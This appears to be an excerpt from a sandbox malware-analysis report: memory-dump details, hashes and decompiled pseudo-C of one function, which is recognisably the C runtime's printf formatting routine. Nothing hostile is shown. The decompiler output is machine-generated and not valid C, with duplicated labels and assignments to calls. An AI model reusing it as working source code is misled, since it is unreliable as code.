9, xrefs: 00427F59

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction ID: 11427225c2d64756d887d8ee2e195066cf09a0a9faed4897237f37261697fbd1
Opcode Fuzzy Hash: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction Fuzzy Hash: A9412471E082298FDB64CF48E989BAEB7B5BF44300F5041DAD009AB341C7389E80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434F54, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00434F54(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428310(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428310(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428310(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004356D0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00435710( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E004356D0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00435710(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E004341E0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E00435710( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E004356D0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C4F0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407E18) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435520))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E004311D0( *(_t557 - 0x251) & 0x000000ff, E0041AE00(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E00435630( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E00435630( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L0041E330();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L00422E20(_t541))) = 0x16;
																			E00422BB0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E0041ADD0(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0x435558; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435540))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0x435580; // 0x4d8e9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043556C))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0x4355ec; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004355B0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428310(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B870(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
